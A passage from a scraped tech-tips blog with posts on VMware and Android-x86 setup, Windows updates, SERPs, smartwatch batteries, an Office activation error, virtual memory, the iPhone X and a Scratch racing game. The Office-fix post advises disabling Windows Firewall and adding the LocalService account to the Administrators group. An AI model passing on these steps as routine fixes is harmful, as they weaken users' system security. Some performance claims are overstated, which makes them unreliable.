first virtual machine (1) =\u0026gt; Edit virtual machine settings (2) .\n  Step 2: Click on Network Adapter (1) =\u0026gt; Custom (2) =\u0026gt; Select virtual network just created (3) =\u0026gt; OK (4) .\n  Step 3: Click the second virtual machine (1) =\u0026gt; Edit virtual machine settings (2) .\n  Step 4: You do the same setup by clicking Network Adapter (1) =\u0026gt; Custom (2) =\u0026gt; Select virtual network just created (3) =\u0026gt; OK (4) .\n  4.3. Check After the installation is complete, boot the virtual machine up. Then you turn on the Sharing feature to check. On my Windows 7 virtual machine will display 3 devices in the network.\n  After clicking on the network and showing the shared folder is successful.\n  On the second virtual machine also shows 3 connected devices.\n  When you click on the network and the folders pop up are successful.\n  With the quick virtual machine connection tutorial, you can exchange data or use the virtual network system to do various network tests.\u0026nbsp;\n5. How to install Android on VMWare Most of us used to emulate Android with Bluestack, Nox App Player . but you may not know how to install the Android operating system on a virtualized environment. With the following instructions, let's learn how to install Android on the famous virtualization tool VMware.\n5.1. Prepare - VMware Workstation software, you can download it at the following link here\u0026nbsp;.\n- Android x86 installer, download link here.\n5.2. Setup on VMware Step 1: Open VMware and go to File menu (1) =\u0026gt; New Virtual Machine… (2) .\n  Step 2: You click on Typical (1) =\u0026gt; Next (2) .\n  Step 3: Click on Installer disc image file (iso) (1) =\u0026gt; Browse . (2) .\n  Step 4: Go to and click the downloaded android installation file (1) in the preparation =\u0026gt; Open (2) .\n  Then, click Next to continue.\n  Step 5: You name the virtual machine (1) =\u0026gt; click Browse… (2) to change the location to save the virtual machine after installation. Next, click Next (3) to continue.\n  Step 6: You change the hard drive space for the virtual machine (1) at least 20GB. Next, you click on Store virtual disk as single file (2) =\u0026gt; Next (3) .\n  Step 7: Click Finish to complete.\n  5.3. Install Android on a virtual machine Step 1: Click on the Android virtual machine (1) =\u0026gt; Power on this virtual machine (2) .\n  Step 2: Once opened, select the line Advanced options .\n  Select Auto Installation - Auto Install to specified harddisk .\n  Step 3: Click Yes to proceed to format the memory and install Android.\n  Step 4: Do not click Run Android-x86 to avoid the black screen error. Instead, press Reboot (1) =\u0026gt; OK (2) .\n  5.4. Boot setup and fix black screen error Step 1: After rebooting and entering the boot menu, press E to edit the first boot menu.\n  Then, press the E key again to edit.\n  Step 2: You press the ← \u0026nbsp; arrow key on the keyboard to return.\n  After you return to the line of quiet kernel , insert the following command:\nnomodeset xforcevesa_\nAfter inserting the command line will be nomodeset xforcevesa_quiet kernel .\nThen, press the Enter key to save the command line.\n  Step 3: Press B to return to the previous item.\n  After returning to the previous item, the command line will run itself and you wait for the Android boot menu to appear successfully.\nNote : If the Android boot menu runs too long then you should turn off the Android virtual machine and increase the minimum 2GB RAM, minimum 2-core CPU to boot and run Android stably.\n  5.5. Setup settings in Android and check Step 1: Once the Android screen ends, the Android setup begins. Click Start to get started.\n  Step 2: Select VirtWifi network to connect.\n  Step 3: Select Don't copy to not import data from Google account.\n  Step 4: You can enter your Google account to install the app, get data or skip it and log in later by clicking Skip .\n  Next, click Skip to continue.\n  Step 5: Click Accept to agree to the terms of Google.\n  Step 6: Click Not now to skip creating a lock screen password.\n  Select Skip anyway to confirm.\n  Step 7: Finally, Android has been set up and is waiting for you to use. In this step requires you to choose the Launcher to use, you choose Quickstep (1) =\u0026gt; Always (2) .\n  And the interface of the Android operating system on a virtual machine as shown below with Play Store for you to download the application.\n  Step 8: To check the Android version, drag the mouse down from the top of the screen to open the Action Center and click on the - to expand.\nNext, you click on the Settings icon .\n  Step 9: In the settings, scroll down and find the System item.\n  Here, you can see what is your current Android version in the Android version section . In the article below, the current Android version is Android 9 .\n  Due to running on the architecture of Intel and AMD chips, not ARM architecture, some software and games will crash when installing applications. However, this is also a good way to use the Android operating system and make good use of the hardware on your computer.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5kraGgqHqnu9FmoKerpJa5rbXNoGSappRiwrS1zaBkr6Wnlr%2BmedWiqa2tkaF6rq3CoaCnnQ%3D%3D\n","link":"/post/top-5-tips-for-installing-and-using-vmware-virtual-machine/","section":"post","tags":null,"title":"Top 5 tips for installing and using VMware virtual machine"},{"body":"That's why in today's article, let's find out what problems will happen if the computer is turned off during the Windows update process.\nSome information you need to know about your computer's Windows update process For those of you who don't know, starting with Windows Vista, Windows software developers wanted the operating system to be able to update more conveniently and securely. That is why they have launched the Component Based Servicing (CBS) system, which is built on a more complete and secure foundation than previous Windows updaters.\n  If you are curious what CBS is, I would like to quickly share how this system works. First, CBS will check that our computer has all the necessary files (files) for the update process. After the Windows update is complete, CBS will record the update successfully.\n  However, if our computer is accidentally turned off or lost power while updating Windows, CBS will record to the Windows system that the machine has not been successfully updated software (because CBS is part of Windows). Update). This system will then roll back any updates that took place before your computer was shut down or power out, and allow you to try the update again next time without causing damage to your data or hardware. your count. Sounds convenient, right?\nWhat if we turn off the computer while updating Windows? So we have CBS from A to Z for the situation that the computer is turned off while updating Windows, but why does the system still prompt that we should not turn off the computer? As I said, CBS contains files and information for the Windows update process, but this system also helps the operating system work properly.\n  It is true that CBS can ensure that the computer's update process can take place safely, but as long as the updates are small, not important. And in the case that it is a large, important update for Windows, you should not let the computer shut down or lose power. However, Windows very rarely has a specific message to users whether the update is important or not.\n  The consequences of a computer shutting down while updating important software versions will be varied and unpredictable. For example, your computer may fail in some functions such as unable to edit files (files), background (wallpaper) or even get a blue screen error when booting into Windows. The worst case scenario is that your computer may not output the image (black screen) on startup.\n  Suppose your\u0026nbsp; computer is stuck while updating \u0026nbsp;and you want to reset the device to work right away, what will happen? If your computer has been stuck at the software update stage for 30 minutes to 1 hour, then there is a high chance that nothing will happen if you reset or turn it off. The reason is that at this point, your hard drive may have entered a resting state, so it will not damage the important data inside. After you have reset your computer, you can try updating Windows again.\nTo be honest, I once turned off my computer while updating Windows and now my computer has a blue screen error every time it boots up. Therefore, I advise you to never do the same thing as me, you will regret it. In case you accidentally turn off your computer while updating Windows, here are some solutions for you.\nWays to fix errors if your computer shuts down during Windows update 1. Reinstall Windows When you have not finished updating Windows for your computer, it is possible that the operating system files have been corrupted and cannot be recovered, so the only way is to reinstall a completely new version of Windows.\n  2. Use Windows Update Troubleshooter In some cases, your computer will still be able to boot into Windows (if you have good character and enough luck). At this point, you can use Microsoft's Windows Update Troubleshooter tool so that your computer can clear the Windows Updates cache (to recall previous updates).\nTo use this feature, simply type in the Windows search bar: 'Window Update Troubleshooter', then follow the instructions to restore updates. If you have not installed this tool on your computer, you can follow these steps:\nStep 1:\u0026nbsp; Click here to open the Download page \u0026nbsp;\u0026gt; Next select the operating system you are using.\n  Select the version of Windows that you are using on your computer.\nStep 2: Click 'Download the Windows Update Troubleshooter' to download the fix tool.\n  Click 'Download the Windows Update Troubleshooter' to download the fix tool.\nStep 3: After downloading, open the downloaded file and click \"Next\" to scan and fix errors.\n  The Windows Update Troubleshooter tool will automatically fix errors related to updating Windows software.\nStep 4: If the scan finds an error, you can click 'Apply this fix' to fix it and click 'Close' to finish.\n  The operation with this Microsoft tool is also very simple.\nsummary Here's what you need to know if your computer is accidentally turned off or loses power during an operating system update. Although there is a CBS system available inside Windows that takes care of everything, I recommend that you let the update process take place conveniently and smoothly, avoiding having to spend time and effort to fix the problems. unnecessary error.\nncG1vNJzZmismaXArq3KnmWcp51kwba%2BzWamn55dqbWmecKopKmtpJq%2FbsPHnqVmraCZrrW1zaBksKGemby4v4yiqmasmJ7AbrPOqJtmp6Jiu7DA\n","link":"/post/turn-off-the-computer-when-updating-windows-is-this-good-or-not/","section":"post","tags":null,"title":"Turn off the computer when updating Windows? Is this good or not?"},{"body":"What are SERPs?   When you query a search engine, the system crawls different web pages on the internet and returns results showing website links, images, videos, maps, a featured snippet, and more.\u0026nbsp;If you look at the information presented on the search results, you'll realize that everything relates to your search keywords. This page that carries your answer in any of these elements is known as a SERP. The particular elements you see on a SERP and their structure are determined by the keywords you used to search for information. Google has two main categories of SERP elements: paid and organic results.\nPaid Results Paid ads appear on the top and bottom of SERPs. The results come from ads that advertisers have purchased through Google Ads. Google algorithm has set criteria for determining which ad displays first. Ranking factors include bid amount, the relevance of the ad to the search, domain authority, and bid amount.\nOrganic Results Google uses a complex algorithm to monitor over 200 rank signals and determine which page appears first on SERPs. It's important to note that the rank criteria are always changing due to the updates Google does on its algorithm. Make sure you follow what Google does with its algorithm and adjust fast to the changes. Have in mind that proper SEO techniques are your best bet to ranking high on organic SERPs.\nWhy Are SERPs Important to SEO? It's important for any business with a website to pay attention to SERPs. The information contained in the first pages of SERPs is what most people will see when they search for something. Not many people browse past the first pages on SERPs. So you want to optimize your pages to the first page to increase the chances of drawing visitors to your website.\nNow, SERPs dictate how a web page appears on the first page of Google. For instance, let's say you try to organically rank a keyword whose first results on SERPs are mostly paid ads. Then, the paid ads are followed by a snippet. That means the organic results are several lines down. It becomes hard for people to click on your content even if you rank first on organic results.\nAnother factor to consider when analyzing SERPs is no click searches. These come as a result of the featured snippet. Consider a search phrase that's likely to return abstract data or an instant answer. For instance, 'when did world war 1 start'.\nSee the results below:\n  With such a result, why would the user continue browsing the content below?\nIn this case, if your business wants its pages to appear on the first page of Google results, consider how SERP features appear when analyzing your KWs.\nHow can your business appear on SERPs? Here are some tips to boost your chances of ranking high on SERPs.\nTrack and analyze SERP elements You'll know what the search engine you're targeting looks for when ranking pages. When monitoring, point out openings you can use to rank high. Use the information to optimize your content and stand chances of landing the first position on the SERPs.\nWe understand that it's difficult for SEO managers to monitor SERPs manually. To lift the weight off your shoulders, you might consider automatic techniques of gathering data. Data scraping tools such as SERPMaster's Google Search API are an effective way of streamlining SEO tasks. If you want to learn more how SERPMaster's Google Search API works check here.\nPost valuable content Google, the popular search engine, tasks its algorithms to analyze millions of pages for every search query. The bots then display pages with information that's relevant to a search query. In fact, the pages are arranged based on their relevance. To stand a chance, you want to prove to the search engines that your pages carry valuable information that people are interested in.\nMake your site mobile-friendly Today, most people use their smartphones to browse websites. To gain a good percentage of these online visitors, make accessing pages on your website from a mobile device effortless. If they can't navigate seamlessly, they'll quit and Google will record this as bounce rate.\nCheck your links and linking strategy Use a few links with relevant information and choose the hyperlink wordings meticulously. Google inspects the words in your hyperlinks to see if they match the content on the link. When linking, check how you choose your anchor text. Also, make sure you are linking to relevant, authoritative websites. Linking to pages with relevant, helpful information reduces the bounce rate. A high bounce rate will lower your page's ranking on SERPs.\nInvest in technical and on-page SEO To compete for a space on the first page of search engine results, you need to work on the SEO for your entire website.\nConclusion Google SERPs is the response that the search engine returns when you type a query. SEO managers should consider how the elements on SERPs appear when processing keywords for SEO. This is because how results appear on SERPs depends on the specific search terms a user typed on Google search.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02aYq51dqLKzvNJmrqGxXZa%2FpnnSnqmpq12eurG70a2Yp6xdqbxuv8So\n","link":"/post/what-are-serps-why-are-serps-important-to-seo/","section":"post","tags":null,"title":"What are SERPs? Why Are SERPs Important to SEO?"},{"body":"Smartwatches are increasingly powerful tools that offer many of the same features as smartphones. However, the downside of these devices is that when the battery runs out, they can't even function as a normal watch.\nIf you own a smartwatch, you may be wondering how to increase its battery life. Battery life varies by model, but you can make it last longer by following a few simple tips no matter what type of watch you own.\nIf you haven't tried to optimize your smartwatch before, there are many steps you can take to reduce power consumption. Here are 10 ways to make your battery last longer.\n  1. Stop receiving unnecessary notifications People often buy special smartwatches to receive notifications right from the device on their wrist. However, along with being useful, they also drain battery life. And if you get a lot of notifications, the overall power usage will actually increase. Go through every app that sends you notifications and decide which one you really need. Text messages are obviously important, but do you really need every social media notification? You should also ask if you want both your phone and watch to send identical alerts.\n2. Reduce screen brightness Smartwatches have increasingly powerful screens, but the brighter they are, the faster they use up their batteries. The high brightness setting is useful in direct sunlight, but other than this, there's little benefit to leaving the display at full brightness. If your watch has a light sensor, you can set it up to automatically adjust brightness based on available light. Otherwise, you should try different percentages manually until you find the right balance between aesthetics and battery life.\n3. Turn off Always-on Display Always-on Displays are popular because they allow you to tell the time without shaking your wrist. However, Always-on Display also makes your watch use more battery, so it is best to turn this feature off.\n4. Turn off Bluetooth and WiFi Many smartwatch features require Bluetooth or WiFi access. Many applications need Internet access, and your watch cannot interact with your phone without Bluetooth. Disconnecting the meter completely is obviously impractical, but you can save a lot of energy by turning off these connections when you are not using them. Besides, many apps on the smartwatch will still work despite the absence of Bluetooth or WiFi.\n5. Change the watch face Smart watches offer a variety of faces. Many of these options are highly interactive, and while this additional information is helpful, they also require more power to operate. If you want to limit how much power your watch uses, you should look for a watch face that displays less information.\n6. Use energy saving mode if available Some smartwatches have a power saving mode that automatically optimizes settings to use less power. Enabling this feature can significantly improve battery life, if your smartwatch has it. However, it's important to note that this mode often turns off many of the watch's features. Therefore, you should test it before wearing the watch to an important place.\n7. Turn off Tilt to Wake If you don't use Always-on Display, most smartwatches will use tilt or touch mode to wake the device. These features are obviously convenient, but they also mean that the watch has to constantly monitor the wrist and screen. Instead, you can save battery life by turning off these features and waking your watch with the press of a button.\n8. Turn off Voice Assistant Voice Assistants are very popular in smartwatches because they provide an alternative to using very small screens to give directions. However, in order for the voice assistant to work, the voice assistant must hear everything you say. This uses a lot of energy (not to mention privacy concerns). If you want to turn off the voice assistant and still be able to use it when needed, many watches allow you to re-enable voice detection with the push of a button, allowing you to voice commands when you want and does not waste the battery at other times.\n9. Uninstall apps Installing too many smartwatch apps can degrade performance. This can also increase power consumption if those apps are running in the background. Therefore, you should go through all your installed apps and uninstall any that you don't need.\n10. Using Theater Mode Many smartwatches have a Theater Mode that allows you to temporarily turn off many features. Depending on the watch, this will turn off notifications and prevent the screen from lighting up. This is ideal if you want to increase battery life for a specific amount of time and get your watch working properly afterwards.\nSmartwatches can be optimized to use less battery, and many users will find that they can significantly increase battery life by making the right adjustments.\nIf you've tried the steps in this article and your watch's battery life still doesn't last as long as you'd like, you should try a different watch designed for better battery life.\nHybrid models offer the best battery life, allowing you to enjoy the functionality of a smartwatch with the battery life of a standard watch. Besides, many standard smart meters that focus on energy saving are also worth considering.\nncG1vNJzZmismaXArq3KnmWcp51kfnF51pqwrGWkpHqquc%2Brpq%2BdXZeutcDEq7BmpJmbsm6yzqtkrKWRp8G4rdOcn56r\n","link":"/post/10-ways-to-improve-battery-life-for-smartwatches/","section":"post","tags":null,"title":"10 ways to improve battery life for smartwatches"},{"body":"In recent times, TipsMake.com has received many messages and questions from readers, with content:\nThe user's computer after upgrading, updating to Windows 10, or having the following error when activating, Microsoft Office Active software: \" We're sorry, something went wrong and we can't do this for you right now Please try again later. (0x8004FC12). \" And this phenomenon often happens with Office 365, Office 2013, and the latest Office 2016.   In the article below, TipsMake.com will present, guide you how to fix the above error in 4 basic steps\n1. Turn off Windows Firewall: This is a very basic operation, to ensure your Windows system runs faster, with fewer errors, but also less secure.\nRefer to the article: How to turn off the Firewall on Windows 10 to make the computer run faster. How to turn on, turn off the Firewall in Windows 7. 2. Reset TCP / IP (simply reset Internet Protocol): Among the causes of computer failure to connect to the Internet (although the network still has signals, Wifi is still full of bars, every time you access any website, you will receive an error message: \" The page cannot be displayed \") may be corrupted by the Internet Protocol or TCP / IP on your computer.\nHow to reset TCP / IP using NetShell: On Windows 10, you open Command as Administrator :\n  Then type the command:\nnetsh int ip reset resettcpip.txt\n  Restart the computer, and check if the Internet is connected!\nReset TCP / IP with Microsoft FixIt: This way is simpler than typing the above command, all you need to do is download and install Microsoft FixIt version 50199. This FixIt version works well on Windows from Vista to 10 (but may not run on Windows 8 and 8.1).\n3. Add Net Local Group: This way requires you to open Command under Administrator (similar to Reset TCP / IP above), type the command below, or simply copy paste (at the Command window, right click, the system will Automatically paste in commands). Press Enter after each statement to make Windows work:\nnet localgroup Administrators localservice / add\nfsutil resource setautoreset true C:\nnetsh int ip reset resetlog.txt\nAfter that, restart your computer and try activating and activating Microsoft Office again to see if it still fails.\n4. Check again TLS 1.2: TLS is an abbreviated form of Transport Layer Security Protocol , which can be understood as an industry-standard security standard to ensure the safety of data in the Internet environment. To check, go to Control Panel\u0026gt; Internet Option\u0026gt; open the Advanced tab as shown below and see if Use TLS 1.2 is checked or not?\n  Or you can open Run \u0026gt; type inetcpl.cpl\nThen, re-enable Office if there is an error: \" We're sorry, something went wrong and we can't do this for you right now. Please try again later. (0x8004FC12). \" Hopefully the above steps can help you fix and handle the non-active error, activate Microsoft Office on Windows 10. Wish you success!\nncG1vNJzZmismaXArq3KnmWcp51kgW6%2F056nrGWkpHqntddmnKuqn6d6ccSXaWdtnpNmf27Dx56lZpmTqba3rdOipaBlnZ6ws7vSqJ2tZZ%2Bbs6qvxGamp2Wnnrulu9asZGpo\n","link":"/post/4-steps-to-fix-error-0x8004fc12-when-activating-microsoft-office-on-windows-10/","section":"post","tags":null,"title":"4 steps to fix error 0x8004FC12 when activating Microsoft Office on Windows 10"},{"body":"The Adamo XPS will use a temperature sensor to help the lid of the device be opened automatically.\n  The Dell Adamo XPS will use thermal sensors to open the lid automatically. Photo: Dell .\nBusinessWeek has revealed that the thermal sensor on the front edge of the Dell Adamo XPS laptop is capable of detecting temperature changes when the front user's hand appears. The machine displays a notification via a bright white LED and automatically opens the cover so that the user starts working. The \"disruptive\" information in the advertising strategy for the Adamo XPS to arouse the curiosity of many people about the laptop with many breakthroughs in design and technology. Last week, Dell unexpectedly unveiled two exterior design photos of the camera in mysterious shooting angles, and before that was an unannounced appearance on a notebook model that was only 9.99 mm thick.\nncG1vNJzZmismaXArq3KnmWcp51ksaa4y2aYnZmdpHq5vNJmpqmdnqh6tbTEZqOinF2WwrW7zJqropuRobm6\n","link":"/post/dell-adamo-xps-opens-the-lid-automatically/","section":"post","tags":null,"title":"Dell Adamo XPS opens the lid automatically"},{"body":"The sight of flamingos producing blood-like red kites for their youngsters, shared by Science Channel on Facebook on February 19, 2020 attracted more than 8.5 million views after just one week.\nMany viewers were shocked when they first witnessed this scene because at first glance it seems that the mother flamingos had ripped open the head of another adult flamingo so that the offspring would drink the same blood. However the truth is not as scary and scary as what people see. In fact, this is a family, and the young red liquid drink is not blood but kite milk - a nutrient rich in protein and fat secreted from the mother's flamingo kite gland.\nIn the video, a flamingo father is helping the mother feed the young by using her head and beak to guide the kite milk into the baby's mouth. Young flamingoes will depend on kite milk for about 2 months after hatching.\nFlamingos are large birds with long necks, sticky feet and pink or red feathers. The distinctive feather color of flamingos comes from the fact that they feed on pigments found in algae and invertebrates.\n  Flamingos have the ability to stand on one leg, even when sleeping, they stand in that position. This helps them minimize the amount of heat the body consumes while standing underwater.\nMost flamingos only produce one egg at a time. Each flamingo egg weighs between 115 grams and 140 grams. The female flamingo can also lay two eggs at a time, but it is very rare for both eggs to hatch.\nncG1vNJzZmismaXArq3KnmWcp51kw6qwxKhkn6SRoravs86eqmaelZqxqrrGZquhnZmneqOtwaKcrGWnnsGpedGem2almaG4br%2FUq6eroaOasW65wKewZqiVpL2tsQ%3D%3D\n","link":"/post/flamingoes-feeding-their-babies-with-red-milk-surprised-many-people/","section":"post","tags":null,"title":"Flamingoes feeding their babies with 'red milk' surprised many people"},{"body":"With Windows computers, memory is divided into two different types: hard drive and RAM. When virtual physical RAM is used up, Windows uses more virtual RAM or Virtual Memory, turning the hard drive into RAM to complement the computer's lack of RAM. Virtual RAM will combine with physical RAM and hard disk to handle applications and software on the system. However, if users install a lot of software, playing games regularly on the computer will also cause virtual RAM memory to run out and a message saying \"Your system is low on virtual memory. Windows is increasing the size of your virtual bộ nhớ paging tập tin. During this process, bộ nhớ yêu cầu một một ứng dụng này được thực hiện. For more information, xem help. \"\nMany people will think about buying new RAM, but not everyone has the conditions to upgrade. One simpler way is to increase the virtual memory capacity of Virtual Memory without spending a dime. In this article, Network Administrator will guide you to read virtual RAM step by step, increase virtual memory capacity so that you can play games smoother, surf the web faster.\nHow to increase virtual RAM capacity on Windows For computers that lack serious RAM, RAM of 2GB or less or regularly play games, consume RAM, you can do it this way.\nNote , in this article we will do with Windows 10, the remaining Win will do the same steps.\nStep 1: On the Desktop, right-click This PC and select Properties . My Computer with operating systems from Windows 7 and below is My Computer .\n  Step 2: In the System interface, we select Advanced system settings .\n  Step 3: The System Properties interface appears . Here, you click the Advanced tab and then select the Settings button.\n  Step 4: In the Performance Options window, we select the Advanced tab, then select Change . in the Virtual memory section .\n  Step 5: At the Virtual Memory window, uncheck Automatically manage paging file size for all drive . Next, switch to the Custom size section.\n  We will select the Custom size box and then enter the amount of virtual RAM we want to add to the machine. We will enter the minimum capacity in Initial size box to 1.5 times the amount of RAM of the computer, and the maximum capacity is 3 times the capacity of Ram in the Maximum size box .\nTo make it easier for you to visualize and enter the virtual RAM capacity, the Initial size line (MB) selects the suggested number of Minimum allowed below. The Maximum size (MB) to follow the number of Recommended.\nAfter you have entered, click Set and OK to save the settings.\n  Step 6: Soon the System Propreties window notifies you that you can increase the amount of virtual memory, you will have to reboot the system. Click OK .\n  Now restart the computer for the changes to take effect.\nNote , before restarting the computer you need to turn off running programs to avoid losing important data.\nThus, the virtual RAM setup process, increasing the virtual memory capacity has been completed. With this method, you will not worry about whether the machine has reduced its lifespan, does not affect the performance or failure of the hard drive. Besides, we can play games smoother, the speed of surfing the web also increased significantly.\nRefer to some of the following articles: Unlock and improve Windows 10 features with 5 Registry tricks Fix BOOTMGR error is missing when starting Windows Remove \"rooted\" programs that have not been removed completely on Windows 7, XP I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktaa%2BxKxkoaenYsGwecinmqudkaiybsLIq6uumZxiuqa5zquwZpuRpa6ktdOyZKimXay2r7DOsKo%3D\n","link":"/post/here-s-how-to-increase-virtual-memory-capacity-on-windows/","section":"post","tags":null,"title":"Here's how to increase virtual memory capacity on Windows"},{"body":"In order to celebrate the 10th anniversary of the smart smartphone market, Apple has recently released a super product called iPhone X. This is a very special phone and it is completely superior to with previous iPhones. With many attractive features integrated on the product will be a huge plus for users to hook to own this phone. So in the end this smartphone has such special features, all answers will be immediately in the following article?\n1. Tap to unlock   Pressing the physical Home button is a familiar operation for users to launch iPhone, but with iPhone X, this Home key has been completely removed. So, iPhone X users who want to activate just tap the screen once will make the screen light up. You can also activate the device by pressing the power button on the side of the phone. Certainly with these two operations will be easier and much more convenient during use.\n2. Reduce brightness when users do not see the screen   iPhone X can recognize when users look at the screen. The phone can automatically increase or decrease screen brightness when users look at or go away. This feature helps save battery significantly. In addition, this feature also allows you to manually adjust the volume of the ringtone and alarm when you turn on the device and look at the device. The sound will automatically be reduced.\n3. Swipe to switch applications Home button disappears knowing how to use iPhone X?   In the past, users need to press the Home key repeatedly to show a list of how the application runs in the background and the application options to use. Today, iPhone X allows users to switch between active applications by swiping left or right. This feature is very convenient when users need to use multiple applications at the same time.\n4. Hide the preview in the notification   For the early iPhone series, you want to hide the message content you need to manipulate very complicated settings. But now with the iPhone X and the Face ID feature that allows users to hide the preview feature by not looking at the screen, iPhone X will automatically hide the preview of the notifications. Only when users look directly at the screen will these content appear. If there are strangers holding your phone, looking at the screen, the device will confirm itself not the employer will not display the entire contents of the message or message.\n5. Disable Face ID quickly   To better understand this feature, you can refer to the article How to disable Touch ID and Face ID on iOS 11 to enhance the security of Network Administrator. In this article we have specifically instructed you to understand how to disable Face ID when not in use.\n6. Reachability (Accessibility)   Reachability feature is used to support people with small hands still retained on iPhone X. To enable this function, go to Settings\u0026gt; General (General)\u0026gt; Accessibility (Approach) \u0026gt; Reachability.\nHopefully with the content in the article above will help you somewhat in the process of using the iPhone X. Wish you successful implementation!\nSee more:\n7 reasons why you should buy iPhone X instead of iPhone 8 Tips to help you master iPhone X How to take Portrait Mode selfie photos on iPhone X ncG1vNJzZmismaXArq3KnmWcp51ktaqww56lZp6VlsG2vsSsZKimXZ69qbvNnmSxZZ2Wxm66zq1km51doLuww80%3D\n","link":"/post/hidden-features-on-iphone-x-may-not-be-known/","section":"post","tags":null,"title":"Hidden features on iPhone X may not be known"},{"body":" This wikiHow teaches you how to create a basic racing game using MIT's free Scratch program. The main point of this racing game is to complete the track in as little time as possible without crashing. Open Scratch. Go to...\nPart 1of 4:\nSetting up Your Track  Open Scratch. Go to https://scratch.mit.edu/ in your computer's web browser. Scratch is a free programming resource for beginners.   Click Create. It's a tab at the top of the page. Doing so opens the Scratch interface.\n  Close the \"All Tips\" sidebar. Click the X in the list of tips on the right side of the page. While not completely necessary, doing this will make it easier to work in Scratch's interface.\n  Enter a title. In the text box with \"Untitled\" written in it that's in the upper-left corner of the page, enter your game's title (e.g., \"My Racing Game\"). You may first have to enable Adobe Flash by clicking the Allow prompt or logo.   Delete the cat-shaped sprite. Right-click the cat in the \"Sprites\" window that's in the lower-left side of the page, then click delete in the resulting drop-down menu. On a Mac, you can hold down Control while clicking the sprite to prompt the drop-down menu.   Click the Backdrops tab. It's at the top of the Scratch page.\n  Fill in the background. Before you can draw your track, you'll need to create the background on which the track resides: Click the paint bucket icon that's below the T icon. Select your track's background color (e.g., green for grass) at the bottom of the page. Click the background on the right side of the page.   Draw your track. You can make your track as uniform or irregular as you like: Click the brush icon that's at the top of the list of tools. Select a color for your track (e.g., black) at the bottom of the page. Increase the brush width by dragging right the slider at the bottom of the page. Draw the track in a cyclical (not necessarily circular) shape.   Add a finish/start line. Select a color that's different than the one you used for the background and the track, then decrease the brush's width and draw a line across the place in which you want the race to finish. This is also the point in front of which your car will start the race. You may want to use the straight line tool, which resembles a back slash () below the brush icon.  Part 2of 4:\nCreating a Racer  Click the \"Paint new sprite\" icon. It's a brush-shaped line in the upper-right side of the \"Sprites\" pane, which is in the lower-left side of the page.\n  Zoom in. Click the \"Zoom in\" icon, which resembles a magnifying glass icon with a + in it, at least four times. You should see the large ＋ icon in the middle of the right-hand pane grow larger. If you didn't do it earlier, you may first have to close the \"Tips\" sidebar on the right side of the page by clicking the X icon in the sidebar's left-hand corner.   Draw your racer. Using the brush, draw your racer however you like. If you're making a car, you might want to use the rectangle tool (the rectangle-shaped icon) to draw the body and then add the car's wheels with the circle tool. The ＋ icon in the pane represents the center of your racer.   Draw a crashed racer. Click the brush shaped \"Paint new costume\" icon below the \"New costume\" heading, then draw a crashed (or otherwise different) version of your racer. This is the version which will display if your racer touches the grass or any other obstacles you define later. For example, if your current racer is a happy face, you might make the \"crashed\" costume a sad face.   Select your first racer. On the left side of the pane in which you were drawing your racers, click the first one you drew.\n  Drag your racer to the starting position in front of the finish line. You'll do this in the left-hand pane. Doing so will ensure that your racer is in the correct starting position when you go to create your script. The racer will stop once it touches the finish line, so make sure the racer is in front.  Part 3of 4:\nCreating a Starting Position  Click the Scripts tab. You'll find this at the top of the Scratch page.\n  Click Events. It's an option just below the Scripts tab. Doing so brings up a list of event-based code brackets.\n  Add the \"when flag clicked\" event to the pane. Click and drag the \"when [green flag] clicked\" icon onto the right-hand pane, then release it there.\n  Click Motion. This blue link is in the Scripts section.\n  Add your racer's starting location. This will determine where your racer starts whenever you begin a new game: Place your mouse cursor over your racer. Review your racer's x and y coordinates just above the upper-right side of the \"Sprite\" window. Drag the \"go to x: 16 y: 120\" event to fit under the \"when flag clicked\" event. Double-click the \"16\" text box, then type in the x value. Press the Tab ↹ key, then type in the y value. Press ↵ Enter.   Change the starting position. Drag the \"point in direction 90\" event from the \"Motion\" menu to fit under the \"go to x y\" box. This will ensure that your car is facing the correct direction when the flag is clicked.\n  Indicate which costume to use. Click Looks, then drag \"switch costume to costume2\" to fit below the starting position, click the \"costume2\" box, and select costume1. This causes your racer to revert to its non-crashed costume when you reset the game.\n Part 4of 4:\nCreating Movement Rules  Add a movement script. This is the script which your racer will use to move forward:[1] Click Events. Drag the \"when flag clicked\" event onto the pane, separate of the first \"when flag clicked\" script. Click Control. Drag the \"forever\" event to fit below the \"when flag clicked\" script. Click Motion, then drag the \"move 10 steps\" option to fit in the \"forever\" slot. Change the \"move 10 steps\" variable from \"10\" to \"2\", then press ↵ Enter.   Create controls. You'll use the following script to assign turning controls to your racer: Click Events, then drag the \"when space key is pressed\" event onto the pane twice. You should have two separate \"when space key is pressed\" events. Click the \"space\" text box on one \"when space key is pressed\" event, then click left arrow in the drop-down menu. Click the other \"when space key is pressed\" event's \"space\" box, then click right arrow in the drop-down menu.   Add motions to the controls. This is how you'll use the arrow keys to turn your racer: Click Motion. Drag the \"turn [right arrow] 15 degrees\" event to fit below the \"right arrow\" control. Drag the \"turn [left arrow] 15 degrees\" event to fit below the \"left arrow\" control.   Create an out-of-bounds rule. Using this rule will ensure that, should your racer touch the background color (not the track), it will \"crash\": Click Control, then drag the \"if then\" option onto a blank space. Click Sensing, then drag the \"touching color\" option into the \"if then\" option's blank space (between the \"if\" and \"then\"). Click the current color next to \"touching color\", then click once the background for your racer's track. Click Looks, then drag \"switch costume to\" to fit in the \"if then\" gap. Drag the entire \"if then\" assembly to fit in the \"forever\" gap below the \"move 2 steps\" rule. Click Control, then drag the \"stop all\" option to fit below the \"switch costume to\" option. Click \"all\", then click this script in the resulting drop-down menu.   Make a finish line reaction. The following script will create a victory message once your racer crosses the finish line: Click Control, then drag the \"if then\" option onto a blank space. Click Sensing, then drag the \"touching color\" option into the \"if then\" option's blank space (between the \"if\" and \"then\"). Click the current color next to \"touching color\", then click once the finish line. Click Looks, then drag the \"say hello for 2 secs\" option to fit inside the \"if then\" gap. Change \"hello\" to say \"You won!\", then change the \"2\" to whatever amount of time you want to use and press ↵ Enter. Drag the whole \"if then\" assembly into the \"forever\" bracket below the other \"if\" bracket.   Test your game. Zoom out by clicking the - icon in the bottom-right side of the backdrop area, click the green flag above the left-hand pane, and then use the arrow keys to maneuver around your track. You should be able to reach the finish line without crashing. If you determine that the track is too narrow or irregular to complete, you can adjust it by clicking the track's icon in the lower-left side of the page, clicking the Backdrops tab, and drawing in the areas which need fixing with your track's primary color.   Kareem Winters Update 05 March 